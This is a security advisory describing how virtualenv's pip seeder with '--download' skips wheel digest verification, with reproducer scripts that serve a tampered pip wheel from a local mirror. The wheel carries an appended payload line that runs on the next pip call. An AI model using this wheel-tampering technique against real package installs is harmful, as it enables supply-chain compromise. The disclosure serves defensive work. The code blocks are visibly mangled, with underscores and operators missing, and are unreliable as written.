GHSA-cx28-75q4-x26q: Pip/virtualenv vulnerability

Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Wheel selection by the pip seeder when downloads are enabled.

Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

Affected code

The relevant 21.14.8 source is in pip seeder.

Mechanism

With --seeder pip --download, PipInvoke.getpipinstallcmd() first calls getwheel(download=False), so virtualenv's downloadwheel() and verifywheeldigest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

Reproduction and evidence

The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/init.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIPINDEXURL, PIPEXTRAINDEXURL, and PIPINDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

Attack sequence

mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: getwheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile

from virtualenv.seed.wheels.embed import getembedwheel

companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignoreerrors=True) os.makedirs(work)

set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenvoffline.py: no network) bundled = getembedwheel("pip", f"{sys.versioninfo.major}.{sys.versioninfo.minor}") pypisha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypirelease = {"filename": bundled.name, "digests": {"sha256": pypisha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypijson: json.dump({"releases": {bundled.version: [pypirelease]}}, pypijson)

attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRRORCODERAN" subprocess.run([sys.executable, f"{companions}/makemirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirrorwheel = f"{work}/mirror/pip/{bundled.name}" mirrorsha256 = hashlib.sha256(open(mirrorwheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypisha256}") print(f"{bundled.name}: the mirror serves sha256 {mirrorsha256}")

user: pip.conf names the mirror; PIPINDEXURL, PIPEXTRAINDEXURL and PIPINDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pipconf: pipconf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenvoffline.py", f"{work}/pypi.org", "--no-periodic-update"]

control: the default seeder with --download fetches the mirror's wheel and refuses it defaultseeder = subprocess.run( [virtualenv, "--download", f"{work}/env-default"], env={os.environ, "HOME": f"{work}/home-default", "PIPCONFIGFILE": f"{work}/pip.conf"}, captureoutput=True, text=True, ) refusal = [line for line in defaultseeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {defaultseeder.returncode}") print("\n".join(refusal))

trigger: the same command plus --seeder pip pipseeder = subprocess.run( [virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], env={os.environ, "HOME": f"{work}/home-pip", "PIPCONFIGFILE": f"{work}/pip.conf"}, captureoutput=True, text=True, ) print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pipseeder.returncode}") print(pipseeder.stdout) if pipseeder.returncode == 0: envpip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], captureoutput=True, text=True, check=True) print(f"$ env-pip/bin/pip --version\n{envpip.stdout}")

check: compare env-pip's pip/init.py with the one in each wheel with zipfile.ZipFile(bundled.path) as wheel: bundledinit = wheel.read("pip/init.py") with zipfile.ZipFile(mirrorwheel) as wheel: mirrorinit = wheel.read("pip/init.py") installed = glob.glob(f"{work}/env-pip/lib/python/site-packages/pip/init.py") installedinit = open(installed[0], "rb").read() if installed else b"" refusalmessage = f"has sha256 {mirrorsha256}, but PyPI reports {pypisha256}" refused = defaultseeder.returncode != 0 and refusalmessage in defaultseeder.stdout print(f"default seeder refused the mirror's wheel for its digest: {refused}") print(f"env-pip's pip/init.py is the bundled wheel's: {installedinit == bundledinit}, the mirror's: {installedinit == mirrorinit}") print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}") print("BUG" if refused and installedinit == mirrorinit and os.path.exists(marker) else "OK")

repro.d/makemirror.py

text #!/usr/bin/env python3 usage: makemirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes> import os import sys import zipfile

genuinewheel, mirror, marker = sys.argv[1:] wheelname = os.path.basename(genuinewheel) payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip") with zipfile.ZipFile(genuinewheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheelname}", "w") as served: for entry in genuine.infolist(): data = genuine.read(entry) if entry.filename == "pip/init.py": data += payload.encode() served.writestr(entry, data)

PEP 503 project page; pip reads <index>/pip/index.html for a file:// index with open(f"{mirror}/pip/index.html", "w") as page: page.write(f'<a href="{wheelname}">{wheelname}</a>\n')

repro.d/virtualenvoffline.py

text #!/usr/bin/env python3 usage: virtualenvoffline.py <directory standing in for https://pypi.org> <virtualenv arguments...> The virtualenv command, except that the PyPI JSON API request (the source of the digest the default seeder checks) is answered from a local file, as tests/unit/seed/wheels/testperiodicupdate.py does. pip is not touched. import sys

from virtualenv.main import runwithcatch from virtualenv.seed.wheels import periodicupdate

pypiorg = sys.argv[1]

def pypijsonapi(url, context=None): return open(url.replace("https://pypi.org", pypiorg), "rb")

periodicupdate.urlopen = pypijsonapi runwithcatch(sys.argv[2:])

Impact

The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

Fix: PR #3430.

Known mitigation

On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

Affected release

- [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.